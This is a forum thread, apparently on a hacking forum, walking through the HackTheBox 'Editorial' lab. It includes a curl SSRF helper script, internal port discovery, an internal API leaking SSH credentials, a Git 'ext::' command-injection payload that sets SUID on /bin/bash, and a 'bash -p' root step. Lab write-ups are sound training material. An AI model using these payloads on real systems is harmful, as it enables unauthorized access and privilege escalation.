#!/bin/bash
URL=$1
OUT=$(curl -s -F "bookurl=$URL" -F "bookfile=@/dev/null" http://editorial.htb/upload-cover)
curl -s http://editorial.htb/$OUT|
HTB - Editorial
by paven - Saturday June 15, 2024 at 05:48 PM
|
(Jun 15, 2024, 08:46 PM)BahsbFAISfjhb Wrote: {I got these api how to use this /api/latest/metadata/messages/authors this endpoint (Jun 15, 2024, 08:55 PM)ritualist Wrote: Check http://127.0.0.1:5000/api/latest/metadat...es/authors for ssh credentials where are you using this end point to get the credentials?
Jun 16, 2024, 08:37 AM
How do you know, that port 5000 is open on the inside of the box?
Where did you find the api?
Jun 16, 2024, 08:45 AM
(This post was last modified: Jun 16, 2024, 08:46 AM by macavitysworld.)
(Jun 16, 2024, 08:37 AM)ARhOmOuTEd Wrote: How do you know, that port 5000 is open on the inside of the box? Internal scanning reveals port 5000 and the api endpoint Here is a reference article: https://cyberweapons.medium.com/internal...248ae6fa7b
Jun 16, 2024, 09:36 AM
Getting these error messages
"Sorry, user prod is not allowed to execute '/usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py' as root on editorial." "Traceback (most recent call last): File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module> r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"]) File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs) File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone finalize_process(proc, stderr=stderr) File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process proc.wait(**kwargs) File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait raise GitCommandError(remove_password_if_present(self.args), status, errstr) git.exc.GitCommandError: Cmd('git') failed due to: exit code(128) cmdline: git clone -v -c protocol.ext.allow=always ext: h -c chmod% u+s% /bin/bash new_changesstderr: 'Cloning into 'new_changes'... fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists." (Jun 16, 2024, 08:45 AM)macavitysworld Wrote:(Jun 16, 2024, 08:37 AM)ARhOmOuTEd Wrote: How do you know, that port 5000 is open on the inside of the box? Where do you find it? Is it here like this? /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg/?url=http://127.0.0.1:5000 This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | https://breachforums.ai/Forum-Ban-Appeals if you feel this is incorrect.
Jun 16, 2024, 10:08 AM
(This post was last modified: Jun 16, 2024, 10:48 AM by macavitysworld.)
(Jun 16, 2024, 09:48 AM)teky Wrote:(Jun 16, 2024, 08:45 AM)macavitysworld Wrote:(Jun 16, 2024, 08:37 AM)ARhOmOuTEd Wrote: How do you know, that port 5000 is open on the inside of the box? If you are looking for api end point: - Add url : http://127.0.0.1:5000 - click preview - right click on the corrupted image preview - open in a new tab, F12 and check the network tab, response - You can find the endpoint https://prnt.sc/ErKAaP4ZW3NK https://prnt.sc/AitDHo1aBGLy Or learn to use burp And if you are wondering about the port it's basic internal network scanning with burpsuite. You have the option to add url in the /upload page Do a basic intruder attack on PORT number and check for the response, if you can find anything odd. for eg. https://prnt.sc/pC17U2iUR75r in here i have taken the payload as numbers, but you can add your custom list of ports. If you check the content length, you can find the content length is different from rest of the requests. here is how i added the payload position: https://prnt.sc/PN5y1zBMPgv9
Jun 16, 2024, 10:12 AM
for root
find / -perm -4000 2>/dev/null you will see the /bin/bash then, bash -p
Jun 16, 2024, 11:01 AM
(Jun 16, 2024, 10:08 AM)macavitysworld Wrote:(Jun 16, 2024, 09:48 AM)teky Wrote:(Jun 16, 2024, 08:45 AM)macavitysworld Wrote:(Jun 16, 2024, 08:37 AM)ARhOmOuTEd Wrote: How do you know, that port 5000 is open on the inside of the box? Note that Intruder is slow on burp community edition, you may need burp pro for faster results. Alternatively you can also use tools such as ffuf to do the same.
Jun 16, 2024, 11:24 AM
(Jun 16, 2024, 10:08 AM)macavitysworld Wrote:(Jun 16, 2024, 09:48 AM)teky Wrote:(Jun 16, 2024, 08:45 AM)macavitysworld Wrote:(Jun 16, 2024, 08:37 AM)ARhOmOuTEd Wrote: How do you know, that port 5000 is open on the inside of the box? I recreated all that, but still cant get the info from http://127.0.0.1:5000/api/latest/metadat...es/authors, this my GET /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg?url=http://127.0.0.1:5000/api/latest/metadata/messages/authors HTTP/1.1 Host: editorial.htb If-Modified-Since: Tue, 16 Jan 2024 19:46:20 GMT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36 If-None-Match: "1705434380.876186-17343-590159124" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Referer: http://editorial.htb/upload Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close I am getting 304 not modified error This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | https://breachforums.ai/Forum-Ban-Appeals if you feel this is incorrect. |
|
« Next Oldest | Next Newest »
|
| Possibly Related Threads… | |||||
| Thread | Author | Replies | Views | Last Post | |
| [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired | 370 | 92,283 |
1 hour ago Last Post: lifolifo007 |
||
| Hack the box Pro Labs, VIP, VIP+ 1 month free Method | 23 | 2,196 |
4 hours ago Last Post: kkkato |
||
| [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags | 20 | 2,500 |
Yesterday, 11:06 PM Last Post: op334 |
||
|
|
[FREE] HackTheBox All Cheatsheets | 3 | 401 |
Yesterday, 10:36 PM Last Post: op334 |
|
| CBBH Write Ups | 22 | 6,232 |
Yesterday, 06:39 AM Last Post: Usercomplex |
||
h -c chmod% u+s% /bin/bash new_changes